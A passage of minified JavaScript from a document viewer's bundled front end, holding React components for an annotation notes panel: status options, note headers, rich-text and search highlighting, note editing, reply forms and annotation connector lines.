s.a.createElement(ef,{content:h("formField.formFieldPopup.options")},s.a.createElement("div",null,s.a.createElement(ZP,YP({},e,m))))};n(1031);function eM(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return tM(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return tM(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function tM(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var nM={annotation:Is.a.object,isSelected:Is.a.bool,openOnInitialLoad:Is.a.bool,handleStateChange:Is.a.func};function rM(e){var t=e.annotation,n=e.isSelected,r=void 0!==n&&n,o=e.openOnInitialLoad,i=void 0!==o&&o,a=e.handleStateChange,u=eM(Ks(),1)[0],c=eM(Object(l.useState)(i),2),f=c[0],d=c[1],p=Object(l.useRef)();yp(p,(function(){d(!1)}));function h(e){return function(){a&&a(e)}}if(!t)return null;var m=t.getStatus(),g="icon-annotation-status-".concat(""===m?"none":m.toLowerCase()),v=t.isReply();if((""===m||"None"===m)&&!r)return null;if(v)return null;var y=js()("overflow",{active:f});return s.a.createElement(Uf,{className:"NoteState",dataElement:"noteState",onClick:function(e){e.stopPropagation(),d(!f)},ref:p},s.a.createElement(ef,{content:u("option.notesOrder.status")},s.a.createElement("div",{className:y},s.a.createElement(cf,{glyph:g}))),f&&s.a.createElement("button",{className:"note-state-options",onClick:function(){d(!1)}},s.a.createElement(Uf,{dataElement:"notePopupState"},s.a.createElement(Uf,{dataElement:"notePopupStateAccepted",className:"note-state-option",onClick:h("Accepted")},s.a.createElement(cf,{glyph:"icon-annotation-status-accepted"}),u("option.state.accepted")),s.a.createElement(Uf,{dataElement:"notePopupStateRejected",className:"note-state-option",onClick:h("Rejected")},s.a.createElement(cf,{glyph:"icon-annotation-status-rejected"}),u("option.state.rejected")),s.a.createElement(Uf,{dataElement:"notePopupStateCancelled",className:"note-state-option",onClick:h("Cancelled")},s.a.createElement(cf,{glyph:"icon-annotation-status-cancelled"}),u("option.state.cancelled")),s.a.createElement(Uf,{dataElement:"notePopupStateCompleted",className:"note-state-option",onClick:h("Completed")},s.a.createElement(cf,{glyph:"icon-annotation-status-completed"}),u("option.state.completed")),s.a.createElement(Uf,{dataElement:"notePopupStateNone",className:"note-state-option",onClick:h("None")},s.a.createElement(cf,{glyph:"icon-annotation-status-none"}),u("option.state.none")),s.a.createElement(Uf,{dataElement:"notePopupStateMarked",className:"note-state-option",onClick:h("Marked")},s.a.createElement(cf,{glyph:"icon-annotation-status-marked"}),u("option.state.marked")),s.a.createElement(Uf,{dataElement:"notePopupStateUnmarked",className:"note-state-option",onClick:h("Unmarked")},s.a.createElement(cf,{glyph:"icon-annotation-status-unmarked"}),u("option.state.unmarked")))))}rM.propTypes=nM;var oM=rM;function iM(){return(iM=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function aM(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return lM(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return lM(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function lM(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var sM={annotation:Is.a.object};function uM(e){var t=aM(Ks(),1)[0],n=e.annotation,r=s.a.useCallback((function(e){var r=function(e,t,n){var r=new Annotations.StickyAnnotation;r.InReplyTo=t.Id,r.X=t.X,r.Y=t.Y,r.PageNumber=t.PageNumber,r.Subject="Sticky Note",r.Author=vt.getCurrentUser(),r.State=n,r.StateModel="Marked"===n||"Unmarked"===n?"Marked":"Review",r.Hidden=!0;var o=vt.getDisplayAuthor(r.Author),i=e("option.state.".concat(n.toLowerCase())),a="".concat(i," ").concat(e("option.state.setBy")," ").concat(o);return r.setContents(a),r}(t,n,e);n.addReply(r);var o=vt.getAnnotationManager();o.addAnnotation(r),o.trigger("addReply",[r,n,o.getRootAnnotation(n)])}),[n]);return s.a.createElement("div",null,s.a.createElement(oM,iM({handleStateChange:r},e)))}uM.propTypes=sM;var cM=uM;function fM(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return dM(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return dM(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function dM(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var pM=function(e){var t=Ks().t,n=e.annotationId,r=e.pendingEditTextMap,o=e.pendingReplyMap,i=fM(Object(l.useState)(!1),2),a=i[0],u=i[1],c=fM(Object(l.useState)(!1),2),f=c[0],d=c[1];return Object(l.useEffect)((function(){var e,t;u((null===(e=r[n])||void 0===e?void 0:e.length)>0),d((null===(t=o[n])||void 0===t?void 0:t.length)>0)}),[r,o]),a||f?s.a.createElement("div",{"data-element":"unpostedCommentIndicator"},s.a.createElement(ef,{content:t("message.unpostedComment")},s.a.createElement("div",null,s.a.createElement(cf,{className:"type-icon",glyph:"icon-unposted-comment"})))):null},hM=function(e){var t=e.annotationId,n=le((function(e){return fi.isElementDisabled(e,"unpostedCommentIndicator")})),r=s.a.useContext(VT),o=r.pendingEditTextMap,i=r.pendingReplyMap;return n?null:s.a.createElement(pM,{annotationId:t,pendingEditTextMap:o,pendingReplyMap:i})};n(1032);function mM(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return gM(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return gM(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function gM(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var vM={icon:Is.a.string,iconColor:Is.a.string,color:Is.a.string,fillColor:Is.a.string,annotation:Is.a.object,language:Is.a.string,noteDateFormat:Is.a.string,isSelected:Is.a.bool,setIsEditing:Is.a.func,notesShowLastUpdatedDate:Is.a.bool,isUnread:Is.a.bool,renderAuthorName:Is.a.func,isNoteStateDisabled:Is.a.bool,isEditing:Is.a.bool,noteIndex:Is.a.number,sortStrategy:Is.a.string,activeTheme:Is.a.string};function yM(e){var t,n,r=e.icon,o=e.iconColor,i=e.annotation,a=e.language,l=e.noteDateFormat,u=e.isSelected,c=e.setIsEditing,f=e.notesShowLastUpdatedDate,d=e.isReply,p=e.isUnread,h=e.renderAuthorName,m=e.isNoteStateDisabled,g=e.isEditing,v=e.noteIndex,y=e.sortStrategy,b=e.activeTheme,w=mM(Ks(),1)[0],E=y===rc.MODIFIED_DATE||f&&y!==rc.CREATED_DATE?ec(i):i.DateCreated,S=i.getReplies().length,C=null===(t=i[o])||void 0===t||null===(n=t.toHexString)||void 0===n?void 0:n.call(t);b===VP.DARK&&C&&Qu(C)&&(C="#FFFFFF");var x=wf(i.FillColor),O=js()("author-and-date",{isReply:d}),A=js()("NoteHeader",{parent:!d});return s.a.createElement("div",{className:A},!d&&s.a.createElement("div",{className:"type-icon-container"},p&&s.a.createElement("div",{className:"unread-notification"}),s.a.createElement(cf,{className:"type-icon",glyph:r,color:C,fillColor:x})),s.a.createElement("div",{className:O},s.a.createElement("div",{className:"author-and-overflow"},s.a.createElement("div",{className:"author-and-time"},s.a.createElement("div",{className:"author"},h(i)),s.a.createElement("div",{className:"date-and-num-replies"},s.a.createElement("div",{className:"date-and-time"},E?Fu()(E).locale(a).format(l):w("option.notesPanel.noteContent.noDate")),S>0&&!u&&s.a.createElement("div",{className:"num-replies-container"},s.a.createElement(cf,{className:"num-reply-icon",glyph:"icon-chat-bubble"}),s.a.createElement("div",{className:"num-replies"},S)))),s.a.createElement("div",{className:"state-and-overflow"},s.a.createElement(hM,{annotationId:i.Id}),!m&&!d&&s.a.createElement(cM,{annotation:i,isSelected:u}),!g&&u&&s.a.createElement(JP,{noteIndex:v,annotation:i,setIsEditing:c,isReply:d})))))}yM.propTypes=vM;var bM=yM;n(1033);function wM(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return EM(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return EM(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function EM(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var SM=function(e){var t=e.children.replace(/\n$/,""),n=e.panelWidth,r=e.linesToBreak,o=e.renderRichText,i=e.richTextStyle,a=e.resize,u=e.style,c=e.comment,f=void 0!==c&&c,d=wM(Object(l.useState)(!1),2),p=d[0],h=d[1],m=wM(Object(l.useState)(null),2),g=m[0],v=m[1],y=wM(Object(l.useState)(null),2),b=y[0],w=y[1],E=wM(Object(l.useState)(!1),2),S=E[0],C=E[1],x=s.a.useRef(null),O=Ks().t,A=p?t:t.substring(0,b*r),_=O(p?"action.showLess":"action.showMore"),T=js()("note-text-preview",{"preview-comment":f});return Object(l.useEffect)((function(){var e=x.current.clientWidth;v(e)}),[n]),Object(l.useLayoutEffect)((function(){var e=function(e){var t=document.createElement("canvas").getContext("2d");return t.font="13px sans-serif",t.measureText(e).width}(t),n=e/t.length,o=Math.floor(g/n);w(o),C(e/g>r)}),[t,g]),s.a.createElement("div",{className:T,ref:x,style:u},o&&i?o(A,i,0):A," ",S&&s.a.createElement("a",{className:"note-text-preview-prompt",onClick:function(e){e.stopPropagation(),h(!p),a&&a()}},_))};function CM(){return(CM=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function xM(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return OM(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return OM(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function OM(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var AM=function(e){var t=xM(le((function(e){return[fi.getNotesPanelWidth(e)]}),N),1)[0];return s.a.createElement(SM,CM({},e,{panelWidth:t}))},_M=n(209),TM=n.n(_M);function kM(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return PM(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return PM(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function PM(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}Fu.a.extend(Hu.a);var MM={annotation:Is.a.object.isRequired},RM=function(e){var t,n=e.annotation,r=e.isEditing,o=e.setIsEditing,i=e.noteIndex,a=e.onTextChange,u=e.isUnread,c=e.isNonReplyNoteRead,f=e.onReplyClicked,d=kM(le((function(e){return[fi.getNoteDateFormat(e),fi.getIconColor(e,ac(n)),fi.isElementDisabled(e,"notePopupState"),fi.getCurrentLanguage(e),fi.notesShowLastUpdatedDate(e),fi.isNotesPanelTextCollapsingEnabled(e),fi.isNotesPanelRepliesCollapsingEnabled(e),fi.getActiveTheme(e)]}),N),8),p=d[0],h=d[1],m=d[2],g=d[3],v=d[4],y=d[5],b=d[6],w=d[7],E=Object(l.useContext)(VT),S=E.isSelected,C=E.searchInput,x=E.resize,O=E.pendingEditTextMap,A=E.onTopNoteContentClicked,_=E.sortStrategy,T=re(),k=n.isReply(),P=kM(Ks(),1)[0];Rx((function(){r||T(Ps.finishNoteEditing()),x()}),[r]);var M,R=Object(l.useCallback)((function(e){var t=vt.getDisplayAuthor(e.Author);return t?DM(t,C):P("option.notesPanel.noteContent.noName")}),[C]),j=Object(l.useCallback)((function(e,t,n){var r=[];if(zk.link(e,{stripPrefix:!1,stripTrailingSlash:!1,replaceFn:function(e){var t=e.getAnchorHref(),n=e.getAnchorText(),o=e.getOffset();switch(e.getType()){case"url":case"email":case"phone":return void r.push({href:t,text:n,start:o,end:o+e.getMatchedText().length})}}}),!r.length){var o=DM(e,C,t);return C||!(!k&&y)&&!(k&&b)?o:s.a.createElement(AM,{linesToBreak:3,comment:!0,renderRichText:NM,richTextStyle:t,resize:x,style:n},e)}var i=[],a=0;return r.forEach((function(n,r){var o=n.start,l=n.end,u=n.href;a<o&&i.push(s.a.createElement("span",{key:"span_".concat(r)},DM(e,C,t,a,o))),i.push(s.a.createElement("a",{href:u,target:"_blank",rel:"noopener noreferrer",key:"a_".concat(r)},DM(e,C,t,o,l))),a=l})),a<e.length-1&&i.push(DM(e,C,t,a)),i}),[C]),L=sc(ac(n)).icon;try{M=JSON.parse(n.getCustomData("trn-mention"))}catch(e){M=n.getCustomData("trn-mention")}var I=(null===(t=M)||void 0===t?void 0:t.contents)||n.getContents(),D=n.getContents(),F=n.getRichTextStyle(),B=n.TextColor;w===VP.DARK&&(B&&Qu(B.toHexString())&&(B=new window.Annotations.Color(255,255,255,1)),F&&Object.keys(F).forEach((function(e){F[e].color&&Qu(F[e].color)&&(F[e].color="#FFFFFF")})));var H,V=void 0===O[n.Id];H=I&&V?I:O[n.Id];var z=function(e){var t;null!==(t=window.getSelection())&&void 0!==t&&t.toString()&&(null==e||e.stopPropagation())},U=js()({NoteContent:!0,isReply:k,unread:u,clicked:c}),G=Object(l.useMemo)((function(){var e={};return B&&(e.color=B.toHexString()),s.a.createElement(s.a.Fragment,null,r&&S?s.a.createElement(LM,{annotation:n,noteIndex:i,setIsEditing:o,isEditing:r,textAreaValue:H,onTextAreaValueChange:a,pendingText:O[n.Id]}):D&&s.a.createElement("div",{className:js()("container",{"reply-content":k}),onClick:z},j(D,F,e)))}),[n,S,r,o,I,j,H,a]),W=n.getCustomData("trn-annot-preview"),q=Object(l.useMemo)((function(){if(""===W)return null;var e=DM(W,C),t=!k&&y;return TM()(e)&&t?s.a.createElement("div",{className:"selected-text-preview"},s.a.createElement(AM,{linesToBreak:3},'"'.concat(e,'"'))):s.a.createElement("div",{className:"selected-text-preview",style:{paddingRight:"12px"}},e)}),[W,C]),Z=Object(l.useMemo)((function(){return s.a.createElement(bM,{icon:L,iconColor:h,annotation:n,language:g,noteDateFormat:p,isSelected:S,setIsEditing:o,notesShowLastUpdatedDate:v,isReply:k,isUnread:u,renderAuthorName:R,isNoteStateDisabled:m,isEditing:r,noteIndex:i,sortStrategy:_,activeTheme:w})}),[L,h,n,g,p,S,o,v,k,u,R,vt.getDisplayAuthor(n.Author),m,r,i,ec(n),_]);return s.a.createElement("div",{className:U,onClick:function(){k?f(n):r||A()}},Z,q,G)};RM.propTypes=MM;var jM=RM,LM=function(e){var t=e.annotation,n=e.noteIndex,r=e.setIsEditing,o=e.isEditing,i=e.textAreaValue,a=e.onTextAreaValueChange,u=e.pendingText,c=kM(le((function(e){return[fi.getAutoFocusNoteOnAnnotationSelection(e),fi.getIsMentionEnabled(e),fi.isElementOpen(e,"notesPanel")]})),3),f=c[0],d=c[1],p=c[2],h=kM(Ks(),1)[0],m=Object(l.useRef)(),g=t.isReply();Object(l.useEffect)((function(){if(p&&m.current){var e=m.current.getEditor();t.editor=e,u&&FP(e,t),setTimeout((function(){m&&m.current&&f&&(m.current.focus(),t.getRichTextStyle()&&o&&HP(t))}),0);var n=e.getLength()-1;t.editor.setSelection(n,n)}}),[p]);var v=function(e){e.preventDefault();var o=m.current.getEditor();if(i=CP.getFormattedTextFromDeltas(o.getContents()),FP(o,t),d){var l=CP.extractMentionDataFromStr(i),s=l.plainTextValue,u=l.ids;t.setCustomData("trn-mention",JSON.stringify({contents:i,ids:u})),vt.setNoteContents(t,s)}else vt.setNoteContents(t,i);t instanceof window.Annotations.FreeTextAnnotation&&vt.drawAnnotationsFromList([t]),r(!1,n),""!==i&&a(void 0,t.Id)},y=js()("edit-content",{"reply-content":g});return s.a.createElement("div",{className:y},s.a.createElement(DP,{ref:function(e){m.current=e},value:i,onChange:function(e){return a(e,t.Id)},onSubmit:v,placeholder:"".concat(h("action.comment"),"..."),"aria-label":"".concat(h("action.comment"),"...")}),s.a.createElement("div",{className:"edit-buttons"},s.a.createElement("button",{className:"cancel-button",onClick:function(e){e.stopPropagation(),r(!1,n),a(void 0,t.Id)}},h("action.cancel")),s.a.createElement("button",{className:"save-button".concat(i?"":" disabled"),disabled:!i,onClick:function(e){e.stopPropagation(),v(e)}},h("action.save"))))};LM.propTypes={noteIndex:Is.a.number.isRequired,annotation:Is.a.object.isRequired,setIsEditing:Is.a.func.isRequired,textAreaValue:Is.a.string,onTextAreaValueChange:Is.a.func.isRequired,pendingText:Is.a.string};var IM=function(e,t,n){var r={fontWeight:t["font-weight"],fontStyle:t["font-style"],textDecoration:t["text-decoration"],color:t.color};return r.textDecoration&&(r.textDecoration=r.textDecoration.replace("word","underline")),s.a.createElement("span",{style:r,key:n},e)},NM=function(e,t,n){if(!t||!e)return e;for(var r={},o=Object.keys(t).map(Number).sort((function(e,t){return e-t})),i=0;i<o.length;i++){var a=o[i]-n;if(r[a=Math.min(Math.max(a,0),e.length)]=t[o[i]],a===e.length)break}for(var l=[],s=Object.keys(r).map(Number).sort((function(e,t){return e-t})),u=1;u<s.length;u++)l.push(IM(e.slice(s[u-1],s[u]),r[s[u-1]],"richtext_span_".concat(u)));return l},DM=function(e,t,n){var r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:0,o=arguments.length>4&&void 0!==arguments[4]?arguments[4]:e.length,i=e.slice(r,o),a=i.toLowerCase(),l=t.toLowerCase();n&&(n[0]=n[0]||{},n[e.length]=n[e.length]||{});var u=a.indexOf(l);if(!l.trim()||-1===u)return NM(i,n,r);var c=[],f=[u],d=l.replace(/[.*+?^${}()|[\]\\]/g,"\\$&");if(new RegExp("(".concat(d,")"),"gi").test(a))for(;-1!==u;)-1!==(u=a.indexOf(l,u+l.length))&&f.push(u);return f.forEach((function(e,t){0===t&&0!==e&&c.push(NM(i.substring(0,e),n,r)),c.push(s.a.createElement("span",{className:"highlight",key:"highlight_span_".concat(t)},NM(i.substring(e,e+l.length),n,r+e))),e+l.length<a.length&&e+l.length!==f[t+1]&&c.push(NM(i.substring(e+l.length,f[t+1]),n,r+e+l.length))})),c},FM=jM;n(1034);function BM(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return HM(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return HM(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function HM(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var VM={annotation:Is.a.object.isRequired},zM=function(e){var t=e.annotation,n=e.isUnread,r=e.onPendingReplyChange,o=BM(le((function(e){var n;return[fi.getAutoFocusNoteOnAnnotationSelection(e),fi.isDocumentReadOnly(e),fi.isElementDisabled(e,"noteReply"),null===(n=fi.getIsReplyDisabled(e))||void 0===n?void 0:n(t),fi.getIsMentionEnabled(e),fi.getIsNoteEditing(e)]}),N),6),i=o[0],a=o[1],u=o[2],c=o[3],f=o[4],d=o[5],p=Object(l.useContext)(VT),h=p.isContentEditable,m=p.isSelected,g=p.pendingReplyMap,v=p.setPendingReply,y=p.isExpandedFromSearch,b=p.scrollToSelectedAnnot,w=BM(Object(l.useState)(!1),2),E=w[0],S=w[1],C=BM(Ks(),1)[0],x=re(),O=Object(l.useRef)();Rx((function(){E||x(Ps.finishNoteEditing())}),[E]),Object(l.useEffect)((function(){d&&m&&!h&&i&&O&&O.current&&O.current.focus()}),[h,d,m]),Object(l.useEffect)((function(){if(!y&&b&&setTimeout((function(){O&&O.current&&i&&O.current.focus()}),0),O&&O.current){var e=O.current.getEditor().getLength()-1;O.current.editor.setSelection(e,e)}}),[]);var A=function(e){e.preventDefault();var n=O.current.getEditor(),r=CP.getFormattedTextFromDeltas(n.getContents());if(r.trim()){var o=""===t.getContents()||void 0===t.getContents();if(f)if(o&&h){var i=CP.extractMentionDataFromStr(r),a=i.plainTextValue,l=i.ids;t.setCustomData("trn-mention",JSON.stringify({contents:r,ids:l})),vt.setNoteContents(t,a)}else{var s=CP.createMentionReply(t,r);FP(n,s)}else if(o&&h)vt.setNoteContents(t,r),FP(n,t);else{var u=vt.createAnnotationReply(t,r);FP(n,u)}v("",t.Id)}},_=a||u||c,T=js()({"reply-area":!0,unread:n});return _||!m?null:s.a.createElement("form",{onSubmit:A,className:"reply-area-container"},s.a.createElement("div",{className:T,onMouseDown:function(e){return e.stopPropagation()}},s.a.createElement(DP,{ref:function(e){O.current=e},value:g[t.Id],onChange:function(e){return function(e){v(e,t.Id),r()}(e)},onSubmit:A,onBlur:function(){return S(!1)},onFocus:function(){return S(!0)},placeholder:"".concat(C("action.reply"),"..."),"aria-label":"".concat(C("action.reply"),"...")})),s.a.createElement("div",{className:"reply-button-container"},s.a.createElement(bf,{img:"icon-post-reply",className:"reply-button".concat(g[t.Id]?"":" disabled"),onMouseUp:function(e){return A(e)},isSubmitType:!0})))};zM.propTypes=VM;var UM=zM;n(1035);function GM(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return WM(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return WM(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function WM(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var qM=function(e){var t=e.children,n=document.getElementById("line-connector-root"),r=document.createElement("div");return r.setAttribute("data-element","annotationNoteConnectorLine"),Object(l.useEffect)((function(){return n.appendChild(r),function(){return n.removeChild(r)}}),[r,n]),Object(u.createPortal)(t,r)},ZM=function(e){var t=e.annotation,n=e.noteContainerRef,r=GM(le((function(e){return[fi.getNotesPanelWidth(e),fi.isElementOpen(e,"annotationNoteConnectorLine"),fi.isElementOpen(e,"notesPanel"),fi.isElementDisabled(e,"annotationNoteConnectorLine"),fi.getDocumentContainerWidth(e),fi.getDocumentContainerHeight(e)]}),N),6),o=r[0],i=r[1],a=r[2],u=r[3],c=r[4],f=r[5],d=re(),p=GM(Object(l.useState)(0),2),h=p[0],m=p[1],g=GM(Object(l.useState)(0),2),v=g[0],y=g[1],b=GM(Object(l.useState)(0),2),w=b[0],E=b[1],S=GM(Object(l.useState)(0),2),C=S[0],x=S[1],O=GM(Object(l.useState)(0),2),A=O[0],_=O[1],T=GM(Object(l.useState)(0),2),k=T[0],P=T[1],M=Lw(t),R=M.bottomRight,j=M.topLeft,L=Object(l.useCallback)((function(){return"Note"===t.Subject?4:15}),[t]);if(Object(l.useEffect)((function(){var e=vt.getScrollViewElement(),t=e.scrollTop,r=e.scrollLeft,i=R.x-j.x,a=R.y-j.y;E(o-16),y(n.current.getBoundingClientRect().top);var l=window.innerWidth-o-j.x+16+r-i;m(.75*l),x(l-h-L()),P(o-16+h),_(j.y+a/2-t);var s=function(){d(Ps.closeElement("annotationNoteConnectorLine"))};return vt.addEventListener("pageNumberUpdated",s),function(){vt.removeEventListener("pageNumberUpdated",s)}}),[n,o,R,j,c,f,d]),i&&a&&!u){var I=Math.abs(v-A),D=v>A?A+2:v;return s.a.createElement(qM,null,s.a.createElement("div",{className:"horizontalLine",style:{width:h,right:w,top:v}}),s.a.createElement("div",{className:"verticalLine",style:{height:I,top:D,right:w+h}}),s.a.createElement("div",{className:"horizontalLine",style:{width:C,right:k,top:A}},s.a.createElement("div",{className:"arrowHead"})))}return null};n(1036);function YM(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function $M(e){for(var 